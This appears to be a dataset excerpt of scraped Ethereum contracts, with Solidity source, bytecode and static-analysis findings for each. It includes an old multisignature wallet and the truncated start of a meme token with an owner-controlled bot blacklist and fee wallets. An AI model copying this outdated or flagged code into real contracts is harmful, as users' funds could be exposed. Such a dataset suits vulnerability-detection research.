02001915050602060405180830381600087803b158015610fb357600080fd5b505af1158015610fc7573d6000803e3d6000fd5b505050506040513d6020811015610fdd57600080fd5b505195945050505050565b600a5481565b600160a060020a03918216600090815260036020908152604080832093909416825291909152205490565b60015460009081908190600160a060020a0316331461103757600080fd5b604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051859350600160a060020a038416916370a082319160248083019260209291908290030181600087803b15801561109b57600080fd5b505af11580156110af573d6000803e3d6000fd5b505050506040513d60208110156110c557600080fd5b5051600154604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a0392831660048201526024810184905290519293509084169163a9059cbb916044808201926020929091908290030181600087803b15801561113957600080fd5b505af115801561114d573d6000803e3d6000fd5b505050506040513d602081101561116357600080fd5b5051949350505050565b600b5481565b60095481565b600154600160a060020a0316331461119057600080fd5b600160a060020a038116156111c8576001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b50565b600154600090600160a060020a031633146111e557600080fd5b5060005b8281101561121e5761121684848381811061120057fe5b90506020020135600160a060020a03168361134f565b6001016111e9565b50505050565b60008215156112355750600061093c565b5081810281838281151561124557fe5b041461093c57fe5b600d5460009060a060020a900460ff161561126757600080fd5b60095461127a908363ffffffff61133016565b600955600160a060020a0383166000908152600260205260409020546112a6908363ffffffff61133016565b600160a060020a038416600081815260026020908152604091829020939093558051858152905191927f8940c4b8e215f8822c5c8f0056c12652c746cbc57eedbd2a440b175971d47a7792918290030190a2604080518381529051600160a060020a038516916000916000805160206114918339815191529181900360200190a350600192915050565b8181018281101561093c57fe5b60008282111561134957fe5b50900390565b600154600160a060020a0316331461136657600080fd5b6000811161137357600080fd5b6008546009541061138357600080fd5b600160a060020a0382166000908152600260205260409020546113ac908263ffffffff61133016565b600160a060020a0383166000908152600260205260409020556009546113d8908263ffffffff61133016565b60098190556008541161140a57600d805474ff0000000000000000000000000000000000000000191660a060020a1790555b600160a060020a0382166000818152600260209081526040918290205482518581529182015281517fada993ad066837289fe186cd37227aa338d27519a8a1547472ecb9831486d272929181900390910190a2604080518281529051600160a060020a038416916000916000805160206114918339815191529181900360200190a350505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820d496bb8f19bfd06a3a7fe5f19c2275b54b0869bd786c9a3e5443150031be09cb0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}} | 10,603 |
0xd0c5f83feefd42e3a5e639d200c4ecd36749f41f | pragma solidity 0.4.23;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <stefan.george@consensys.net>
contract MultiSigWallet {
uint constant public MAX_OWNER_COUNT = 50;
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
modifier onlyWallet() {
if (msg.sender != address(this))
throw;
_;
}
modifier ownerDoesNotExist(address owner) {
if (isOwner[owner])
throw;
_;
}
modifier ownerExists(address owner) {
if (!isOwner[owner])
throw;
_;
}
modifier transactionExists(uint transactionId) {
if (transactions[transactionId].destination == 0)
throw;
_;
}
modifier confirmed(uint transactionId, address owner) {
if (!confirmations[transactionId][owner])
throw;
_;
}
modifier notConfirmed(uint transactionId, address owner) {
if (confirmations[transactionId][owner])
throw;
_;
}
modifier notExecuted(uint transactionId) {
if (transactions[transactionId].executed)
throw;
_;
}
modifier notNull(address _address) {
if (_address == 0)
throw;
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
if ( ownerCount > MAX_OWNER_COUNT
|| _required > ownerCount
|| _required == 0
|| ownerCount == 0)
throw;
_;
}
/// @dev Fallback function allows to deposit ether.
function()
public
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
if (isOwner[_owners[i]] || _owners[i] == 0)
throw;
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param owner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction tx = transactions[transactionId];
tx.executed = true;
if (tx.destination.call.value(tx.value)(tx.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
tx.executed = false;
}
}
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
} | 0x60806040526004361061011d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063025e7c2714610177578063173825d9146101e457806320ea8d86146102275780632f54bf6e146102545780633411c81c146102af57806354741525146103145780637065cb4814610363578063784547a7146103a65780638b51d13f146103eb5780639ace38c21461042c578063a0e67e2b14610517578063a8abe69a14610583578063b5dc40c314610627578063b77bf600146106a9578063ba51a6df146106d4578063c01a8c8414610701578063c64274741461072e578063d74f8edd146107d5578063dc8452cd14610800578063e20056e61461082b578063ee22610b1461088e575b6000341115610175573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a25b005b34801561018357600080fd5b506101a2600480360381019080803590602001909291905050506108bb565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101f057600080fd5b50610225600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108f9565b005b34801561023357600080fd5b5061025260048036038101908080359060200190929190505050610b92565b005b34801561026057600080fd5b50610295600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d38565b604051808215151515815260200191505060405180910390f35b3480156102bb57600080fd5b506102fa60048036038101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d58565b604051808215151515815260200191505060405180910390f35b34801561032057600080fd5b5061034d600480360381019080803515159060200190929190803515159060200190929190505050610d87565b6040518082815260200191505060405180910390f35b34801561036f57600080fd5b506103a4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e19565b005b3480156103b257600080fd5b506103d160048036038101908080359060200190929190505050611012565b604051808215151515815260200191505060405180910390f35b3480156103f757600080fd5b50610416600480360381019080803590602001909291905050506110f7565b6040518082815260200191505060405180910390f35b34801561043857600080fd5b50610457600480360381019080803590602001909291905050506111c2565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018060200183151515158152602001828103825284818151815260200191508051906020019080838360005b838110156104d95780820151818401526020810190506104be565b50505050905090810190601f1680156105065780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b34801561052357600080fd5b5061052c6112b7565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561056f578082015181840152602081019050610554565b505050509050019250505060405180910390f35b34801561058f57600080fd5b506105d06004803603810190808035906020019092919080359060200190929190803515159060200190929190803515159060200190929190505050611345565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156106135780820151818401526020810190506105f8565b505050509050019250505060405180910390f35b34801561063357600080fd5b50610652600480360381019080803590602001909291905050506114b6565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561069557808201518184015260208101905061067a565b505050509050019250505060405180910390f35b3480156106b557600080fd5b506106be6116f3565b6040518082815260200191505060405180910390f35b3480156106e057600080fd5b506106ff600480360381019080803590602001909291905050506116f9565b005b34801561070d57600080fd5b5061072c600480360381019080803590602001909291905050506117ab565b005b34801561073a57600080fd5b506107bf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611984565b6040518082815260200191505060405180910390f35b3480156107e157600080fd5b506107ea6119a3565b6040518082815260200191505060405180910390f35b34801561080c57600080fd5b506108156119a8565b6040518082815260200191505060405180910390f35b34801561083757600080fd5b5061088c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119ae565b005b34801561089a57600080fd5b506108b960048036038101908080359060200190929190505050611cc1565b005b6003818154811015156108ca57fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561093557600080fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561098e57600080fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600091505b600160038054905003821015610b13578273ffffffffffffffffffffffffffffffffffffffff16600383815481101515610a2157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610b06576003600160038054905003815481101515610a7f57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600383815481101515610ab957fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b13565b81806001019250506109eb565b6001600381818054905003915081610b2b9190611fc7565b506003805490506004541115610b4a57610b496003805490506116f9565b5b8273ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a2505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610beb57600080fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610c5657600080fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff1615610c8457600080fd5b60006001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e960405160405180910390a35050505050565b60026020528060005260406000206000915054906101000a900460ff1681565b60016020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b600080600090505b600554811015610e1257838015610dc6575060008082815260200190815260200160002060030160009054906101000a900460ff16155b80610df95750828015610df8575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15610e05576001820191505b8080600101915050610d8f565b5092915050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e5357600080fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610eab57600080fd5b8160008173ffffffffffffffffffffffffffffffffffffffff161415610ed057600080fd5b6001600380549050016004546032821180610eea57508181115b80610ef55750600081145b80610f005750600082145b15610f0a57600080fd5b6001600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060038590806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508473ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b6000806000809150600090505b6003805490508110156110ef5760016000858152602001908152602001600020600060038381548110151561105057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156110cf576001820191505b6004548214156110e257600192506110f0565b808060010191505061101f565b5b5050919050565b600080600090505b6003805490508110156111bc5760016000848152602001908152602001600020600060038381548110151561113057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156111af576001820191505b80806001019150506110ff565b50919050565b60006020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690806001015490806002018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561129a5780601f1061126f5761010080835404028352916020019161129a565b820191906000526020600020905b81548152906001019060200180831161127d57829003601f168201915b5050505050908060030160009054906101000a900460ff16905084565b6060600380548060200260200160405190810160405280929190818152602001828054801561133b57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190600101908083116112f1575b5050505050905090565b60608060008060055460405190808252806020026020018201604052801561137c5781602001602082028038833980820191505090505b50925060009150600090505b600554811015611428578580156113bf575060008082815260200190815260200160002060030160009054906101000a900460ff16155b806113f257508480156113f1575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b1561141b5780838381518110151561140657fe5b90602001906020020181815250506001820191505b8080600101915050611388565b8787036040519080825280602002602001820160405280156114595781602001602082028038833980820191505090505b5093508790505b868110156114ab57828181518110151561147657fe5b906020019060200201518489830381518110151561149057fe5b90602001906020020181815250508080600101915050611460565b505050949350505050565b6060806000806003805490506040519080825280602002602001820160405280156114f05781602001602082028038833980820191505090505b50925060009150600090505b60038054905081101561163d5760016000868152602001908152602001600020600060038381548110151561152d57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611630576003818154811015156115b457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683838151811015156115ed57fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b80806001019150506114fc565b8160405190808252806020026020018201604052801561166c5781602001602082028038833980820191505090505b509350600090505b818110156116eb57828181518110151561168a57fe5b9060200190602002015184828151811015156116a257fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508080600101915050611674565b505050919050565b60055481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561173357600080fd5b60038054905081603282118061174857508181115b806117535750600081145b8061175e5750600082145b1561176857600080fd5b826004819055507fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a836040518082815260200191505060405180910390a1505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561180457600080fd5b81600080600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561185e57600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156118c857600080fd5b600180600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef60405160405180910390a361197d85611cc1565b5050505050565b6000611991848484611e77565b905061199c816117ab565b9392505050565b603281565b60045481565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119ea57600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611a4357600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611a9b57600080fd5b600092505b600380549050831015611b84578473ffffffffffffffffffffffffffffffffffffffff16600384815481101515611ad357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611b775783600384815481101515611b2a57fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611b84565b8280600101935050611aa0565b6000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508473ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a28373ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b60008160008082815260200190815260200160002060030160009054906101000a900460ff1615611cf157600080fd5b611cfa83611012565b15611e7257600080848152602001908152602001600020915060018260030160006101000a81548160ff0219169083151502179055508160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168260010154836002016040518082805460018160011615610100020316600290048015611dd95780601f10611dae57610100808354040283529160200191611dd9565b820191906000526020600020905b815481529060010190602001808311611dbc57829003601f168201915b505091505060006040518083038185875af19250505015611e2657827f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a2611e71565b827f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260008260030160006101000a81548160ff0219169083151502179055505b5b505050565b60008360008173ffffffffffffffffffffffffffffffffffffffff161415611e9e57600080fd5b60055491506080604051908101604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020016000151581525060008084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602082015181600101556040820151816002019080519060200190611f5d929190611ff3565b5060608201518160030160006101000a81548160ff0219169083151502179055509050506001600560008282540192505081905550817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a2509392505050565b815481835581811115611fee57818360005260206000209182019101611fed9190612073565b5b505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061203457805160ff1916838001178555612062565b82800160010185558215612062579182015b82811115612061578251825591602001919060010190612046565b5b50905061206f9190612073565b5090565b61209591905b80821115612091576000816000905550600101612079565b5090565b905600a165627a7a72305820e9dc33ab5cfc86846ae72f77fa7cc3bc5846aae3da9c4ed07873f4b60f52ed040029 | {"success": true, "error": null, "results": {}} | 10,604 |
0x76049f04ca68a0a93d6c9e4a29efd86248570abf | /**
*Submitted for verification at Etherscan.io on 2021-07-19
*/
/**
*Submitted for verification at Etherscan.io on 2021-07-19
*/
/**
*Submitted for verification at Etherscan.io on 2021-07-19
*/
/*
STEALTH MYSTERY
https://t.me/degenmystery
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract DegenMystery is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Degenmystery| t.me/Degenmystery";
string private constant _symbol = "DMYST";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 1;
uint256 private _teamFee = 1;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
